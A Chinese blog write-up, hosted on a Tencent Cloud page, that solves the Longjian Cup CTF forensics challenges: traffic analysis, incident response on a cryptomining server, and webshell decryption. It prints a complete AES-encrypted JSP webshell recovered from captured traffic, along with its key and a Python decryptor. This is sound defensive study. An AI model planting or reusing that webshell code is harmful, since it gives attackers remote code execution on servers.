前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >陇剑杯复现

陇剑杯复现

作者头像
用户9691112
发布2023-09-04 08:14:04
4280
发布2023-09-04 08:14:04
举报
文章被收录于专栏:quan9i的安全笔记

HW

hard_web_1

代码语言:javascript
复制
题目内容:

服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)

下载附件后,点击分析中的专家信息

image-20230828194009687
image-20230828194009687

然后选择Chat,可以发现

image-20230828194116668
image-20230828194116668

开放端口为80,8888,888

hard_web_2

代码语言:javascript
复制
题目内容:

服务器中根目录下的flag值是多少?

追踪HTTP 20046

image-20230828200505366
image-20230828200505366

可以发现shell.jsp源码,具体内容如下

代码语言:javascript
复制
<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>

key为748007e861908c03

密文如下

代码语言:javascript
复制
b5c1fadbb7e28da08572486d8e6933a84c5144463f178b352c5bda71cff4e8ffe919f0f115a528ebfc4a79b03aea0e31cb22d460ada998c7657d4d0f1be71ffa
image-20230903203536059
image-20230903203536059

接下来进行解密即可

代码语言:javascript
复制
from Crypto.Cipher import AES
import binascii
import zlib

# 密钥,与 JSP 代码中的密钥相同
key = b'748007e861908c03'

# 要解密的加密数据(十六进制形式)
encrypted_hex_data = "b5c1fadbb7e28da08572486d8e6933a84c5144463f178b352c5bda71cff4e8ffe919f0f115a528ebfc4a79b03aea0e31cb22d460ada998c7657d4d0f1be71ffa"

def decode(data, key):
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted_data = cipher.decrypt(data)
    return decrypted_data

def ungzip(in_str):
    s = zlib.decompress(in_str, 16 + zlib.MAX_WBITS).decode()
    print("Decoded and Unzipped:\n", s)

# 将十六进制数据转换为字节序列
encrypted_bytes = bytes.fromhex(encrypted_hex_data)

# 解密数据并解压缩
decrypted_data = decode(encrypted_bytes, key)
ungzip(decrypted_data)

hard_web_3

748007e861908c03 用cmd5爆破得到14mk3y

SS

sevrer save_1

代码语言:javascript
复制
题目内容:黑客是使用什么漏洞来拿下root权限的。格式为:CVE-2020-114514
本题附件见于平台公告的SS.zip,解压密码为c77ad47ba4c85fae66f08ec12e0085dd

下载附件后追踪TCP流,发现恶意语句

image-20230830090303852
image-20230830090303852

特征放入浏览器中寻找对应CVE

image-20230830090233888
image-20230830090233888

因此flag为CVE-2022-22965

sevrer save_2

代码语言:javascript
复制
题目内容:黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444

追踪TCP流,发现木马文件bbbb.sh内容

image-20230830090620782
image-20230830090620782

得到黑客反弹shell的IP和端口,即192.168.43.128:2333

sevrer save_3

代码语言:javascript
复制
题目内容:黑客的病毒名称是什么? 格式为:filename

wireshark中输入tcp.port eq 2333可以看到跟反弹的ip的通信

发现攻击者查看了rsa密钥,启动了ssh服务

image-20230830091002211
image-20230830091002211

在附件中寻找,发现main

image-20230830091126881
image-20230830091126881

此即为病毒名称

sevrer save_4

代码语言:javascript
复制
题目内容:黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password

查看etc/shadow文件,此处存放的是用户的密码

image-20230830091557318
image-20230830091557318

可以发现最后一个用户,即11:123456

sevrer save_5

代码语言:javascript
复制
题目内容:服务器在被入侵时外网ip是多少? 格式为:10.10.0.1
image-20230830091928698
image-20230830091928698

从日志文件中可以看出外网IP为172.105.202.239

sevrer save_6

代码语言:javascript
复制
题目内容:病毒运行后释放了什么文件?格式:文件1,文件2

.idea内的即为释放的文件

image-20230830092303928
image-20230830092303928

sevrer save_7

代码语言:javascript
复制
题目内容:矿池地址是什么? 格式:domain:1234
image-20230830092404373
image-20230830092404373

sevrer save_8

代码语言:javascript
复制
题目内容:黑客的钱包地址是多少?格式:xx:xxxxxxxx

WS

Wireshark1_1

代码语言:javascript
复制
题目内容:被入侵主机的IP是?

打开附件进行流量分析,可以看到192.168.246.28在向192.168.24.1传输etc/passwd信息,由此可判定受害主机为192.146.246.28

image-20230828203308642
image-20230828203308642

Wireshark1_2

代码语言:javascript
复制
题目内容:被入侵主机的口令是?

追踪TCP流,可以发现password

image-20230828203540787
image-20230828203540787

得到flag为youcannevergetthis

Wireshark1_3

代码语言:javascript
复制
题目内容:用户目录下第二个文件夹的名称是?

在追踪流下接着看

image-20230828203850392
image-20230828203850392

可以看到执行了ls指令,回显中第二个是Downloads,因此第二个文件夹的名称为Downloads

Wireshark1_4

代码语言:javascript
复制
题目内容:/etc/passwd中倒数第二个用户的用户名是?

TCP流追踪

image-20230828204052736
image-20230828204052736

mysql为倒数第二个

IR

IncidentResponse_1

代码语言:javascript
复制
题目内容:你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)
挖矿程序所在路径是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

redis挖矿

image-20230903172406537
image-20230903172406537

查看conf文件

image-20230903173233117
image-20230903173233117
image-20230903173429035
image-20230903173429035

所以flag为6+72038a870f05cbf923633066e48881

IncidentResponse_2

代码语言:javascript
复制
题目内容:挖矿程序连接的矿池域名是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

域名为donate.v2.xmrig.com,因此按照格式转换一下就好了

image-20230903174557197
image-20230903174557197

IncidentResponse_3

代码语言:javascript
复制
攻击者入侵服务器的利用的方法是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

查看history

image-20230903174744077
image-20230903174744077

发现nohup.log

image-20230903174851812
image-20230903174851812
image-20230903174923714
image-20230903174923714

猜测是Shiro反序列化漏洞

image-20230903175352787
image-20230903175352787

IncidentResponse_4

代码语言:javascript
复制
题目内容:攻击者的IP是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

history查看历史命令

image-20230903175740162
image-20230903175740162

发现多次ping81.70.166.3

IncidentResponse_5

代码语言:javascript
复制
题目内容:攻击者发起攻击时使用的User-Agent是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

查看日志,由于虚拟机cat只能看一部分,所以这里就用vim来预览

代码语言:javascript
复制
vim /var/log/nginx/access.log
image-20230903181213563
image-20230903181213563

发现伪造的UA

最终把这两个UA合起来按要求转为md5即可

IncidentResponse_6

代码语言:javascript
复制
题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以a开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

root/.ssh下发现存在ssh私钥

image-20230903181534471
image-20230903181534471

IncidentResponse_7

代码语言:javascript
复制
题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以b开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

查看开机启动项

代码语言:javascript
复制
systemctl list-unit-files
image-20230903182813808
image-20230903182813808

发现redis.service自启动,位置确定为/lib/systemed/system/redis.services,转换md5即可

SSW

SmallSword_1

代码语言:javascript
复制
题目内容:连接蚁剑的正确密码是______________?(答案示例:123asd)

在143流中发现key,此即为密码

image-20230829141309691
image-20230829141309691

SmallSword_2

代码语言:javascript
复制
题目内容:攻击者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)

在HTTP流中看,找到一个base64编码的

image-20230829142409363
image-20230829142409363

解码得ad6269b7-3ce2-4ae8-b97f-f259515e7a91

SmallSword_3

代码语言:javascript
复制
题目内容:攻击者下载到的flag是______________?(答案示例:flag3{uuid})

EW

ez_web_1

代码语言:javascript
复制
题目内容:

服务器自带的后门文件名是什么?(含文件后缀)

追踪HTTP10062流,可以发现ViewMore.php写入了d00r.php文件

image-20230830084118681
image-20230830084118681

因此自带的后门文件名为ViewMore.php

ez_web_2

代码语言:javascript
复制
题目内容:服务器的内网IP是多少?

寻找d00r.php文件,追踪HTTP10098流

image-20230830084635137
image-20230830084635137

得到内网IP192.168.101.132

ez_web_3

代码语言:javascript
复制
题目内容:攻击者往服务器中写入的key是什么?

这里发现写入了内容

image-20230830084935094
image-20230830084935094

Base64解码可以看出为压缩包格式

image-20230830085112706
image-20230830085112706

打开压缩包

image-20230830085343895
image-20230830085343895

需要密码,从上文可得到密码

image-20230830085415373
image-20230830085415373

输入后得到key

image-20230830085445390
image-20230830085445390

TP

tcp_dump1

代码语言:javascript
复制
题目内容:攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin

之前穷举挨个看的,现在学习其他师傅的思路,语法如下

代码语言:javascript
复制
http && !http.request.uri contains "login" && !tcp contains "用户名或密码错误" && http.response.code !=404

这里的话是筛除了login登录包和报错包以及返回404的包,剩下的就是一些无报错信息,且不是登录包的流量,而登录成功的那个包也肯定在这里,因此接下来找一下就好了

image-20230903144120506
image-20230903144120506

跟进TCP流

image-20230903144139182
image-20230903144139182

账密TMjpxFGQwD:123457

tcp_dump2

代码语言:javascript
复制
题目内容:攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值。(32位小写)
image-20230903144602338
image-20230903144602338

注意到userid为2,再往下看

image-20230903144632790
image-20230903144632790

userid变为1了,将Cookie值内容进行md5加密

代码语言:javascript
复制
383c74db4e32513daaa1eeb1726d7255

所以此时就得到了flag

tcp_dump3

代码语言:javascript
复制
攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456

TCP流追踪1601

image-20230903150239151
image-20230903150239151

得到数据库账密zyplayer:1234567

tcp_dump4

代码语言:javascript
复制
题目内容:攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so

在TCP流中发现是postgresql

image-20230903150436483
image-20230903150436483

百度一下它的RCE漏洞

image-20230903150500686
image-20230903150500686

得到CVE编号为CVE-2022-21724,追踪下一个流量包

image-20230903150606582
image-20230903150606582

发现文件名是custom.dtd.xml,因此flag为CVE-2022-21724:custom.dtd.xml

tcp_dump5

代码语言:javascript
复制
题目内容:给出攻击者获取系统权限后,下载的工具的名称,比如nmap

跟踪TCP流1611

image-20230903150844687
image-20230903150844687

发现内网扫描工具fscan

HD

hacked_1

代码语言:javascript
复制
题目内容:admIn用户的密码是什么?

发现加密的keyiv

image-20230903151520457
image-20230903151520457

而后发现密码

image-20230903152245703
image-20230903152245703

解密即可

image-20230903161758903
image-20230903161758903

flagflag{WelC0m5_TO_H3re}

hacked_2

代码语言:javascript
复制
题目内容:app.config['SECRET_KEY']值为多少?
image-20230903162922516
image-20230903162922516

用在线工具解码一下即可得到key

image-20230903162901040
image-20230903162901040

所以key为ssti_flask_hsfvaldb

hacked_3

代码语言:javascript
复制
题目内容:flask网站由哪个用户启动?

TCP76流

image-20230903163616585
image-20230903163616585

Cookie如下

代码语言:javascript
复制
.eJwdx1EKwyAMANCrDEGiPz1Ar1KGZBi7gBpplH2Idy_d-3vTDKWrYiGzm2k5vZRUWeo2WsRObkLKeMKeuekoB4RwZvlg1hDg_S917lSeOhAFf0CTRvXp7ytYGPx2EUbnl7drWqqRk11m3cGmKw0.YpIQcw.J5vs8t8bAr0xDIxF6EqUAH2kkLE

结合上文得到的密钥,用工具即可

image-20230903164512493
image-20230903164512493

得到用户为red

hacked_4

代码语言:javascript
复制
题目内容:攻击者写入的内存马的路由名叫什么?(答案里不需要加/)

TCP82流之前没被请求过,所以猜测是Index

image-20230903164737855
image-20230903164737855
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-09-03T,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • HW
    • hard_web_1
      • hard_web_2
        • hard_web_3
        • SS
          • sevrer save_1
            • sevrer save_2
              • sevrer save_3
                • sevrer save_4
                  • sevrer save_5
                    • sevrer save_6
                      • sevrer save_7
                        • sevrer save_8
                        • WS
                          • Wireshark1_1
                            • Wireshark1_2
                              • Wireshark1_3
                                • Wireshark1_4
                                • IR
                                  • IncidentResponse_1
                                    • IncidentResponse_2
                                      • IncidentResponse_3
                                        • IncidentResponse_4
                                          • IncidentResponse_5
                                            • IncidentResponse_6
                                              • IncidentResponse_7
                                              • SSW
                                                • SmallSword_1
                                                  • SmallSword_2
                                                    • SmallSword_3
                                                    • EW
                                                      • ez_web_1
                                                        • ez_web_2
                                                          • ez_web_3
                                                          • TP
                                                            • tcp_dump1
                                                              • tcp_dump2
                                                                • tcp_dump3
                                                                  • tcp_dump4
                                                                    • tcp_dump5
                                                                    • HD
                                                                      • hacked_1
                                                                        • hacked_2
                                                                          • hacked_3
                                                                            • hacked_4
                                                                            领券
                                                                            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档